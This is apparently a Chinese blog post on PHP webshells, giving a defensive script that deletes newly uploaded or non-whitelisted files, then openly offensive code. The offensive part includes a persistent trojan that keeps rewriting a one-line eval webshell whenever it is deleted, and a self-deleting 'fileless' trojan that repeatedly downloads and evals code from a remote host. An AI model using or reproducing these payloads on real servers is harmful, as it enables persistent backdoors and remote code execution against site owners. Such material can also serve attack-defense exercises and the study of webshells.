php webshell删与防脚本
2016-04-17 21:37
543 查看
php删除webshell脚本,根据文件名,文件内容,文件的修改时间删除,可以暴力点,只要是新上传,新修改的文件,一律删除,代码自己修改
如果想循环删除,可以写个sh脚本
php防删木马,驻留在内存中,当文件不存在,就自动生成,只有服务器重启,脚本才停止运行
php无文件木马,在一开始便把自身删除,主流在内存里,优点是无法查看到木马,缺点是重启以后木马就不在了
<?php function filter($file) { // 网页白名单 $whiteList = array('rois.php','hello.php'); //获取当前相对路径 $url = $_SERVER['PHP_SELF']; //获取文件名 $filename= substr($url , strrpos($url , '/')+1 ); //不删除本文件 if ($file == $filename){ return false; } //在白名单中则不过滤 if (in_array($file, $whiteList)){ return false; } //读取文件内容 @$fp = fopen($file,'r'); @$buf = fread($fp, 512); @fclose($fp); //包含关键字不过滤 if (stristr($buf , 'hehehe')){ return false; } return true; } function delNewInput($old, $new) { if (filemtime($new) > filemtime($old)) { return true; } return false; } function delFileFromDir($dir) { //判断是否是目录 if (!is_dir($dir)) { return false; } //获取当前相对路径 $url = $_SERVER['PHP_SELF']; //获取文件名 $filename = substr($url , strrpos($url , '/')+1); //打开目录 $handle = opendir($dir); while (($file = readdir($handle)) !== false) { //排除掉当前目录和上一个目录 if ($file == "." || $file == "..") { continue; } $fullPath = $dir . "/". $file; //如果是文件且不符合过滤规则或者是新上传就删除,否则递归调用 if ((is_file($fullPath) && filter($file)) || (is_file($fullPath) && delNewInput($filename, $fullPath))) { print "Have deled ".$file . '<br />'; unlink($fullPath); } elseif (is_dir($fullPath)) { delFileFromDir($fullPath); } } } $dir = '.'; delFileFromDir($dir); ?>
如果想循环删除,可以写个sh脚本
#!/bin/sh while : do curl http://test.com/defFile.php done
php防删木马,驻留在内存中,当文件不存在,就自动生成,只有服务器重启,脚本才停止运行
<?php ignore_user_abort(true); set_time_limit(0); $file = './hehehe.php'; $code = '<?php @eval($_POST[test321]); ?>'; while (1){ if(!file_exists($file)){ file_put_contents($file,$code); } usleep(50); } ?>
php无文件木马,在一开始便把自身删除,主流在内存里,优点是无法查看到木马,缺点是重启以后木马就不在了
<?php unlink($_SERVER['SCRIPT_FILENAME']); ignore_user_abort(true); set_time_limit(0); $remote_file = 'http://xxx/xxx.txt'; while($code = file_get_contents($remote_file)){ @eval($code); sleep(5); }; ?>
相关文章推荐
- 【转】Linux dialog详解(图形化shell)
- Linux:-bash: ***: command not found
- shell编程:here文档
- shell入门之expr的使用
- shell中其他值得关注的知识点
- shell中的循环结构
- shell编程学习2
- Shell编程基础
- shell编程:xarg命令
- shell编程:set命令
- shell中命令的执行:$( ) 命令
- shell编程学习1
- Xshell 无法连接虚拟机中的ubuntu的问题
- linux shell基本命令
- HDFS shell 中-du -df 用法详解
- 防止shell脚本长时间执行导致ssh超时
- centos7 实现跨终端bash命令,vim文本等的粘贴复制
- Shell脚本学习笔记-变量使用及输入输出
- Linux shell 学习(一)
- 将本地程序推动到2